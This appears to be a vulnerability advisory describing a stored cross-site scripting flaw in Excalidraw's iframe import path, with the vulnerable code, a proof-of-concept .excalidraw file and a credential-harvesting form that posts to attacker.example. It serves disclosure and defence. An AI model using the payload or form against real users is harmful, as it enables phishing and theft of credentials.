| Descripción | Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in Excalidraw's handling of imported .excalidraw files containing iframe elements.
When a crafted scene file is imported, attacker-controlled HTML stored in customData.generationData.html is rendered inside an iframe using the srcdoc attribute without sanitization. As a result, arbitrary JavaScript can execute within the iframe sandbox.
Although the iframe is sandboxed and does not include allow-same-origin, the current sandbox configuration permits script execution, form submission, popups, popup escape, presentation, and downloads. This enables phishing attacks, user-input exfiltration, malicious downloads, browser fingerprinting, and other client-side attacks against users who open a malicious .excalidraw file.
Details
The vulnerability originates from the import and restoration flow for Excalidraw elements.
During restoration of imported elements, customData is copied without validation:
if ("customData" in element || "customData" in extra) {
base.customData =
"customData" in extra ? extra.customData : element.customData;
}
File:
packages/excalidraw/data/restore.ts
Subsequently, the imported HTML content is assigned directly to an iframe srcdoc property:
if (data.status === "done") {
const html = data.html;
src = {
intrinsicSize: { w: el.width, h: el.height },
type: "document",
srcdoc: () => {
return html;
},
} as const;
}
File:
packages/excalidraw/components/App.tsx
Because data.html originates from untrusted imported content and is not sanitized before being embedded into srcdoc, arbitrary attacker-controlled HTML and JavaScript execute when the scene is rendered.
The iframe sandbox prevents direct access to the parent document because allow-same-origin is absent. However, the sandbox configuration still permits:
allow-scripts
allow-forms
allow-popups
allow-popups-to-escape-sandbox
allow-downloads
allow-presentation
This allows attackers to execute JavaScript and perform meaningful client-side attacks against victims opening malicious Excalidraw files.
Proof of Concept (PoC)
Malicious .excalidraw File
Create a file named:
poc-xss.excalidraw
with the following content:
{
"type": "excalidraw",
"version": 2,
"source": "https://excalidraw.com",
"elements": [
{
"id": "iframe-xss-poc",
"type": "iframe",
"x": 100,
"y": 100,
"width": 500,
"height": 300,
"angle": 0,
"strokeColor": "#000000",
"backgroundColor": "transparent",
"fillStyle": "hachure",
"strokeWidth": 1,
"strokeStyle": "solid",
"roughness": 1,
"opacity": 100,
"seed": 1,
"version": 1,
"versionNonce": 0,
"isDeleted": false,
"groupIds": [],
"frameId": null,
"roundness": null,
"boundElements": [],
"updated": 1,
"link": null,
"locked": false,
"customData": {
"generationData": {
"status": "done",
"html": "<div style='padding:20px;background:#fee;border:2px solid red'><h2>XSS PoC</h2><script>document.body.style.background='lime';console.log('XSS Executed');</script></div>"
}
}
}
],
"appState": {
"viewBackgroundColor": "#ffffff"
},
"files": {}
}
Reproduction Steps
Open Excalidraw.
Open browser Developer Tools.
Import the crafted .excalidraw file using:
Menu → Open; or
Drag-and-drop.
Observe that:
The attacker-controlled HTML is rendered.
JavaScript executes automatically.
The iframe content changes appearance.
A message is written to the browser console.
Additional Demonstration
The payload can be extended to include:
<form action="https://attacker.example/collect" method="POST">
<input name="username">
<input name="password" type="password">
<button type="submit">Login</button>
</form>
Because allow-forms is enabled, user-supplied information can be transmitted to an attacker-controlled endpoint.
Video
excalidraw-xss-poc.mov
Impact
This vulnerability allows attackers to execute arbitrary JavaScript within a sandboxed iframe context by convincing a victim to import a crafted .excalidraw file.
Potential impacts include:
Phishing attacks.
Credential harvesting through embedded forms.
User-input exfiltration.
Browser fingerprinting.
Social engineering attacks.
Arbitrary popup generation.
Malicious download initiation.
Abuse of trusted Excalidraw content-sharing workflows.
The issue affects users who import untrusted .excalidraw files and applications embedding Excalidraw that accept attacker-controlled scene content.
While direct access to the parent page's DOM, cookies, localStorage, or session data is restricted by the sandbox, meaningful client-side attacks remain possible. |
|---|